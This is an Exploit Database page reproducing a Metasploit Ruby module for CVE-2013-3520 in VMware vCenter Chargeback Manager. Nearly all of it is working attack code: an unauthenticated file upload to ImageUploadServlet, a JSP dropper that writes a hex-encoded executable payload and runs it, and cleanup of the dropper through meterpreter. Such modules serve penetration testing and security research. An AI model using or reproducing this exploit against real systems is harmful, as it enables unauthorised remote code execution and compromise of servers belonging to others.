VMware vCenter – Chargeback Manager ImageUploadServlet Arbitrary File Upload (Metasploit)

• Exploit Database
• 9 阅读

• 作者： Metasploit
  日期： 2013-07-23
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/27046/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  HttpFingerprint = { :pattern => [ /Apache.*Win32/ ] }
  
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  
  def initialize(info = {})
  super(update_info(info,
  'Name'=> 'VMware vCenter Chargeback Manager ImageUploadServlet Arbitrary File Upload',
  'Description' => %q{
  This module exploits a code execution flaw in VMware vCenter Chargeback Manager,
  where the ImageUploadServlet servlet allows unauthenticated file upload. The files
  are uploaded to the /cbmui/images/ web path, where JSP code execution is allowed.
  The module has been tested successfully on VMware vCenter Chargeback Manager 2.0.1
  on Windows 2003 SP2.
  },
  'Author' =>
  [
  'Andrea Micalizzi', # Vulnerability discovery
  'juan vazquez' # Metasploit module
  ],
  'License' => MSF_LICENSE,
  'References'=>
  [
  [ 'CVE', '2013-3520' ],
  [ 'OSVDB', '94188' ],
  [ 'BID', '60484' ],
  [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-147/' ]
  ],
  'Privileged'=> true,
  'Platform'=> 'win',
  'Arch' => ARCH_X86,
  'Targets' =>
  [
  [ 'VMware vCenter Chargeback Manager 2.0.1 / Windows 2003 SP2', { } ]
  ],
  'DefaultOptions' =>
  {
  'SSL' => true
  },
  'DefaultTarget'=> 0,
  'DisclosureDate' => 'May 15 2013'))
  
  register_options(
  [
  Opt::RPORT(443)
  ], self.class)
  end
  
  #
  # Try to find and delete the jsp if we get a meterpreter.
  #
  def on_new_session(cli)
  
  if not @dropper or @dropper.empty?
  return
  end
  
  if cli.type != 'meterpreter'
  print_error("#{@peer} - Meterpreter not used. Please manually remove #{@dropper}")
  return
  end
  
  cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
  
  begin
  print_status("#{@peer} - Searching: #{@dropper}")
  files = cli.fs.file.search("\\", @dropper)
  if not files or files.empty?
  print_error("#{@peer} - Unable to find #{@dropper}. Please manually remove it.")
  return
  end
  
  files.each { |f|
  print_warning("Deleting: #{f['path'] + "\\" + f['name']}")
  cli.fs.file.rm(f['path'] + "\\" + f['name'])
  }
  print_good("#{@peer} - #{@dropper} deleted")
  return
  rescue ::Exception => e
  print_error("#{@peer} - Unable to delete #{@dropper}: #{e.message}")
  end
  end
  
  def upload_file(filename, contents)
  post_data = Rex::MIME::Message.new
  post_data.add_part(contents, "image/png", nil, "form-data; name=\"#{rand_text_alpha(4+rand(4))}\"; filename=\"#{filename}\"")
  
  # Work around an incompatible MIME implementation
  data = post_data.to_s
  data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part")
  
  res = send_request_cgi(
  {
  'uri' => normalize_uri("cbmui","ImageUploadServlet"),
  'method'=> 'POST',
  'data'=> data,
  'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
  'cookie'=> "JSESSIONID=#{@session}"
  })
  
  if res and res.code == 200
  return true
  else
  return false
  end
  end
  
  def check
  res = send_request_cgi({
  'uri' => normalize_uri("cbmui", "en_US", "themes", "excel", "index.htm"),
  })
  
  if res and res.code == 200 and res.body =~ /vCenter Chargeback Manager/
  return Exploit::CheckCode::Detected
  end
  
  return Exploit::CheckCode::Safe
  end
  
  def exploit
  @peer = "#{rhost}:#{rport}"
  
  print_status("#{@peer} - Uploading JSP to execute the payload")
  
  exe = payload.encoded_exe
  exe_filename = rand_text_alpha(8) + ".exe"
  
  # The JSP dropper is needed because there isn't directory traversal, just
  # arbitrary file upload to a web path where JSP code execution is allowed.
  dropper = jsp_drop_and_execute(exe, exe_filename)
  dropper_filename = rand_text_alpha(8) + ".jsp"
  
  if upload_file(dropper_filename, dropper)
  register_files_for_cleanup(exe_filename)
  @dropper = dropper_filename
  else
  fail_with(Exploit::Failure::Unknown, "#{@peer} - JSP upload failed")
  end
  
  print_status("#{@peer} - Executing payload")
  send_request_cgi(
  {
  'uri'=> normalize_uri("cbmui", "images", dropper_filename),
  'method' => 'GET'
  })
  end
  
  # This should probably go in a mixin
  def jsp_drop_bin(bin_data, output_file)
  jspraw =%Q|<%@ page import="java.io.*" %>\n|
  jspraw << %Q|<%\n|
  jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|
  
  jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|
  
  jspraw << %Q|int numbytes = data.length();\n|
  
  jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|
  jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|
  jspraw << %Q|{\n|
  jspraw << %Q|char char1 = (char) data.charAt(counter);\n|
  jspraw << %Q|char char2 = (char) data.charAt(counter + 1);\n|
  jspraw << %Q|int comb = Character.digit(char1, 16) & 0xff;\n|
  jspraw << %Q|comb <<= 4;\n|
  jspraw << %Q|comb += Character.digit(char2, 16) & 0xff;\n|
  jspraw << %Q|bytes[counter/2] = (byte)comb;\n|
  jspraw << %Q|}\n|
  
  jspraw << %Q|outputstream.write(bytes);\n|
  jspraw << %Q|outputstream.close();\n|
  jspraw << %Q|%>\n|
  
  jspraw
  end
  
  def jsp_execute_command(command)
  jspraw =%Q|<%@ page import="java.io.*" %>\n|
  jspraw << %Q|<%\n|
  jspraw << %Q|try {\n|
  jspraw << %Q|Runtime.getRuntime().exec("chmod +x #{command}");\n|
  jspraw << %Q|} catch (IOException ioe) { }\n|
  jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|
  jspraw << %Q|%>\n|
  
  jspraw
  end
  
  def jsp_drop_and_execute(bin_data, output_file)
  jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file)
  end
  
  end